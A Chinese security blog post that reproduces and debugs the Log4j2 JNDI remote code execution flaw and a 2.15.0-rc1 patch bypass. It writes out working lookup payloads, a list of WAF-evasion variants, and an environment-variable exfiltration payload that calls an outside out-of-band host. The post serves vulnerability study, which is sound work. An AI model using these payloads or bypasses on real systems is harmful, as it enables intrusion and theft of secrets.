
看到网上烂的文章还是有一部分,决定自己写一篇,深入理解一下 log4j2 的 RCE
一些个靶场
Log4j2 复现
0x01 前言
- 忍不住想先学一学 Log4j2 的漏洞,结果上网一查资料,看到一些资料感觉写的不太清楚,于是自己提笔来写一篇 ~
0x02 Log4j2 基础开发学习
环境
- jdk8u65
网上有很多说 jdk8u191 之后就不行了,其实不是的;高版本 jdk 是有绕过手段的。
- Log4j2 2.14.1
- CC 3.2.1 (最好是)
Demo 实现
- 开发的话,其实也不难,因为作为组件的话,如果要实现组件功能的话实现配置即可。
这里主要是简单走一遍开发流程,让大家了解一下 log4j2 有什么用。
log4j 和 log4j2 都是日志管理工具,相比于 log4j,log4j2 一步步变得越来越主流,现在市场很很多的项目都是 slf4j + log4j2
我们这里就简单看一个 Log4j2 的小 demo,并不复杂。
- 首先要实现 Log4j2 的组件应用,先是 Pom.xml
1 | <dependency> |
然后网上有讲很多教程,说 log4j2 的一些实现方式,什么 xml,yaml,properties 等很多方式。
这里,我们简单用 xml 的方式来实现,文件如下
1 |
|
然后写一个 demo
1 | import org.apache.logging.log4j.LogManager; |
- 跑起来是这个样子

实际开发场景
现在的代码是我们封装的一个行为,一般日志文件还是需要输出的。然后实际应用的话,是这样的。
比如我从数据库获取到了一个 username 为 “Drunkbaby”,我要把它登录进来的信息打印到日志里面,这个路径一般有一个 /logs 的文件夹的。
这时候就是我们的实际应用场景,跑一下看看。
1 | import org.apache.logging.log4j.LogManager; |
Run 一下

当然实际场景里面肯定不会是判断 null,肯定是和 mybatis 数据库这种结合起来使用的,具体的 demo 我就不写了,仅仅知道开发流程就可以了。
0x03 Log4j2 漏洞分析
影响版本
2.x <= log4j <= 2.15.0-rc1
漏洞原理
我们可以看到在 logger.info("User {} login in!", username);
的这个地方,实际上 ———— username 这个参数是可控的。我输入 username 确实是用户可控的。
那么这里,我们尝试输入一下其他的呢?
我们将 username 修改为 String username = "${java:os}";
,再跑一下看看。

这里并不是打印出了 “Hello, $java:os”,而是打印出了我们操作系统的一些信息。这里的设计看上去就有非常大的问题,官方文档的意思是这是 log4j2 自带的一个功能。

其实如果按照官网上面的那几个 api 来看,其实不太严重,最多也就是日志与我们输入对不上而已,并不是会引起大的安全漏洞。
- 真正的问题是,这里的 lookup 它是基于 jndi 的,而 jndi 里面我们早在之前说过直接调用 lookup() 是会存在漏洞的。
jndi 可以看我这篇文章。
Java反序列化之JNDI学习 | 芜风 (drun1baby.github.io)
0x04 漏洞复现与 EXP
- 在知道漏洞原理的情况下,我们可以直接写 EXP 了,EXP 非常简单,就一句话
1 | import org.apache.logging.log4j.LogManager; |
然后要开启 RMIServer,因为之前有代码,这里就不放了。
成功

0x05 调试分析
分析
- 这里我觉得还是会走到原生的 RMI 里面的 lookup 方法去的。
调试会有点难度,而且会有很多遍的各种调用,因为日志第一行是
{pattern1}
还有{pattern2}
;后续还有日期的那些信息,到最后才是我们的输入。
所以要把断点找好,一直 f9 比较节省时间。
不要直接调试,我们下个断点在 PatternLayout
这个类下的 toSerializable()
方法。因为前面的调试很多都是在转来转去,这样太浪费时间了。

往下走,先是一个循环,遍历 formatters
一段一段的拼接输出的内容,不是很重要。
两个传进去进行处理的变量,一个是 event,也就是我们 log4j2 需要来进行日志打印的内容;另外一个 buffer,我们会把打印出来的东西写进 buffer。

跟进 format()
方法,这个 format()
方法师傅们可以把它当作是处理字符串的一个方法,具体如何处理是根据具体情况重写的。当时自己学习的时候就一直纠结的这个,其实没必要。
因为这是一个循环来遍历 formatters
的,中间会做很多数据处理的工作,这都不重要,但是有一个地方特别重要,我这里当 i = 7 的时候进入到了另外的一个 format 处理方法,如图。


其实 event 还是同一个,这里循环到底是什么逻辑我也搞不清楚,如果有了解的师傅还请指点一下 ~
- 当我们进到这个
format()
方法里面之后,先判断是否是 Log4j2 的 lookups 功能。这里我们是 lookups 功能,所以可以继续往下走。

继续往下走,会遍历 workingBuilder 来进行判断;如果 workingBuilder 中存在 ${
,那么就会取出从 $ 开始知道最后的字符串,这一步(这里的日志其实有很长,我们看 logs 文件夹是可以看到的,是一条条读取出来的)

workingBuilder 的内容如下,其实结构也比较清晰方法名,日志级别,当前类名,然后就是我们的 payload

所以上图的 value 就是我们输入的 payload ${jndi:ldap://127.0.0.1:1389/Calc}
跟进 replace()
方法,replace()
方法里面调用了 substitute()
方法

跟进之后 f7 进入到这里

继续往下走,直到这个 while 循环里面,在 while 循环中,会对字符进行逐字匹配 ${

然后进行循环读取,知道读取到 } 并获取其坐标,然后将 ${} 中间的内容取出来,然后又会调用 this.subtitute
来处理。
这里会多次进入这个过程,说真的挺头疼的,不用管其他流程,我们就关注这个 ${jndi:ldap://127.0.0.1:1234/ExportObject}
的值即可

再次运行 subtitue 的时候由于我们已没有 ${ } 所以就直接来到下面,将 varName 作为变量传入了 resolveVariable 函数

varName 就是为 ${} 中的值

可以猜测resolver
解析时支持的关键词有[date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j]
,而我们这里利用的jndi:xxx
后续就会用到JndiLookup
这个解析器


这里我们看到 resolveVariable()
方法里面是调用了 lookup()
方法,这个 lookup()
方法也就是 jndi 里面原生的方法,在我们让 jndi 去调用 ldap 服务的时候,是调用原生的 lookup()
方法的,是存在漏洞的。


再可以往里跟一下

- 再往下走就是 JNDI 常规的注入了,分析过程到此结束。
小结调试
- 先判断内容中是否有
${}
,然后截取${}
中的内容,得到我们的恶意payloadjndi:xxx
- 后使用
:
分割payload,通过前缀来判断使用何种解析器去lookup
- 支持的前缀包括
date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j
,后续我们的绕过可能会用到这些。
0x06 针对 WAF 的常规绕过
- 出发点是基于很多 WAF 检测是否存在
jndi:
等关键词进行判断,下面我们讲一讲绕过手法。
根据官方文档中的描述,如果参数未定义,那么 :-
后面的就是默认值,通俗的来说就是默认值

1. 利用分隔符和多个 ${}
绕过
- 例如这个 payload
1 | logg.info("${${::-J}ndi:ldap://127.0.0.1:1389/Calc}"); |
2. 通过 lower 和 upper 绕过
这一点,因为我们之前说允许的字段是这一些
date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j
,其中就有 lower 和 upper
同时也可以利用 lower 和 upper 来进行 bypass 关键字
1 | logg.info("${${lower:J}ndi:ldap://127.0.0.1:1389/Calc}"); |
同时也可以利用一些特殊字符的大小写转化的问题
ı => upper => i (Java 中测试可行)
ſ => upper => S (Java 中测试可行)
İ => upper => i (Java 中测试不可行)
K => upper => k (Java 中测试不可行)
1 | logg.error("${jnd${upper:ı}:ldap://127.0.0.1:1389/Calc}"); |
由于这玩意儿测试过程中随便插都行,现在数据传输很多都是 json 形式,所以在 json 中我们也可以进行尝试
像 Jackson 和 fastjson 又有 unicode 和 hex 的编码特性,所以就可以尝试编码绕过
1 | {"key":"\u0024\u007b"} |
3. 总结一些 payload
- 原始payload
1 | "${jndi:ldap://127.0.0.1:1234/ExportObject}"; |
对应的绕过手段
1 | ${${a:-j}ndi:ldap://127.0.0.1:1234/ExportObject}; |
4. 奇淫技巧
主要是读取敏感信息,GoogleCTF2022 的 log4j2 的题目中,有一种非预期的方式就是通过这种方式打的
刚才分析了其他解析器功效,通过sys
和env
协议,结合jndi
可以读取到一些环境变量和系统变量,特定情况下可能可以读取到系统密码
举个例子
1 | ${jndi:ldap://${env:LOGNAME}.1hj2a0litb8gvybwuy1m16vj8ae02p.oastify.com} |

我这里本地利用失败了,还有浅蓝师傅提出来的读取 classpath 的敏感信息的利用方式 ———— http://wjlshare.com/archives/1677
0x07 Log4j2 2.15.0 漏洞修复与绕过
说实话,挺鸡肋的,而且受操作系统影响,Windows 无法复现成功,师傅们可以看一下思路,不用跟着复现。
1. 初窥 log4j 2.15.0 版本的修复
官方给出了 CVE 编号和补丁,升级到了 2.15.0 之后默认不开启 JNDI Lookup

漏洞修复主要是在 JndiManager#lookup 中增加了代码,因为最终的触发点就是这里,我们可以先跑一下之前的 2.14.1 里面攻击的 EXP
1 | import org.apache.logging.log4j.LogManager; |
如果这时候运行的话我们会直接把一整个 username 直接就装进去了,并不执行任何命令,也就是说这个语句是正常走的,但是没有走到 lookup 里面进去,没有实现到我们想要的效果。
后续的分析会把 2.14.1 和 2.15.0 两个版本对照起来调试,要不然调试这一块确实很难。
我一开始是把断点打在 StrSubstitutor
这个类下的 resolver.lookup
那里,但是发现一直走不进去,所以先把断点打在 PatternLayout#toSerializable
这里。
左边是 2.14.1 版本的,右边是 2.15.0 版本的,开始调试。
- 因为我前文说过,toSerializable 这里会读取日志的全部部分,所以一开始是什么
[ERROR]
那些的。所以我们要走到读取 payload 的地方。如图所示,2.14.1 类是MessagePatternConverter
,2.15.0 是MessagePatternConverter.SimplePatternConverter

这里 2.14.1 的版本会进行 ${}
的判断,而 2.15.0 的版本会直接把它 toAppendTo 进去。注意!这是同一个类的 format 方法,由此可见,此处是 2.15.0 版本的修复点之一。

- 2.15.0 版本的 log4j 包还在
JndiManager#lookup
中增加了代码,不过我们现在得先走到那里面进去再去分析。现在应该想办法走进JndiManager#lookup
。
后续听 4ra1n 师傅,也就是许少说,Windows 上无法复现成功,需要 mac 才可以,这里绕过我觉得可以看一个思路,但是实际利用上还是很鸡肋。
2. log4j rc1 bypass
- 按照我们上面所分析的,难道就没有办法进入到
lookup()
进行攻击了吗?
其实不是这样的,我们在 MssagePatternConverter
这个类里面找之前 2.14.1 版本中的调用语句:config.getStrSubstitutor().replace(event, value)
。结果是找到一个非常非常类似的语句,位置如图所示

点进去看 replaceIn()
方法,它所属的类是 StrSubstitutor
,这和我们在 2.14.1 里面分析的是一样的过程。

那么回来看调用 replaceIn()
方法的 format()
方法是隶属于 LookupMessagePatternConverter
这个类的,而这个类继承了 MessagePatternConverter
;如果我们要进到 LookupMessagePatternConverter
这个类里面去,需要满足前文提到的 Converter
为 LookupMessagePatternConverter
这个类。
但是怎么样才能让 converter
的类变成 LookupMessagePatternConverter
,而不是 SimpleMessagePatternConverter
呢?
(一开始这里自己分析不下去了,看天下大木头师傅的文章才知道是怎么解决的)
在 newInstance()
方法中会调用 loadLookups()
这个方法,在 loadLookups()
方法中会根据 if (LOOKUPS.equalsIgnoreCase(option))
的结果来判断是哪一个 Converter,我们可以在这里打个断点。发现是要满足两个条件才可以,如图。

在经过多次尝试之后,发现其实限制因素其实都是需要我们手动去修改的,在实际渗透的时候不可能会遇到这种情况,如图。

所以这也是补丁绕过比较鸡肋的地方
为了分析绕过,我们只能手动配置了。。。
手动开启的 lookup 在 resources 中添加 log4j2.xml 文件
1 | <configuration status="OFF" monitorInterval="30"> |
- 所以我们的 EXP 应该是这样的。
1 | import org.apache.logging.log4j.LogManager; |
这时候会成功进入到
JndiManager#lookup
里面去,这个方法在相较于 2.14.1 还是变化非常非常大的。
在这里做了很多限制,一个一个来看

在最开始的 this.allowedProtocols 为 {java,ldap,ldaps} 我们的 ldap 在其中,所以会继续
接下来就是 this.allowedHosts 的限制,这个限制的非常死,只允许本地host

后面还有对 javaSerializedData 中的 classname 做了处理;以及 Reference 和 javaFactory 做了处理,也就是对 JDNI 注入做了处理,师傅们可以去木头师傅的博客观看 ~
- 但是其实最终的绕过的话,是因为抛出异常这里没有进行限制,所以我们传入的 Payload 可以是这样:
"${jndi:ldap://127.0.0.1:1234/ ExportObject}"
,也就是多个空格,就可以进入到catch
里面绕过

完整 EXP 如下
1 | import org.apache.logging.log4j.LogManager; |
Log4j2 RCE Passive Scanner plugin for BurpSuite
用于帮助企业内部快速扫描log4j2的jndi漏洞的burp插件
0x08 参考资料
http://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/02.%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/01.Java%E5%AE%89%E5%85%A8/03.%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/06.log4j2_rce%E5%88%86%E6%9E%90.html
http://wjlshare.com/archives/1674
http://wjlshare.com/archives/1677
https://xz.aliyun.com/t/10649
https://xz.aliyun.com/t/10689#toc-0
https://y4tacker.github.io/2022/07/06/year/2022/7/GoogleCTF2022-Log4j/#%E9%80%89%E6%8B%A9%E5%90%88%E9%80%82%E7%9A%84%E7%B1%BB%E5%AE%8C%E6%88%90challenge
- 本文标题:Log4j2复现
- 创建时间:2022-08-09 20:04:56
- 本文链接:2022/08/09/Log4j2复现/
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!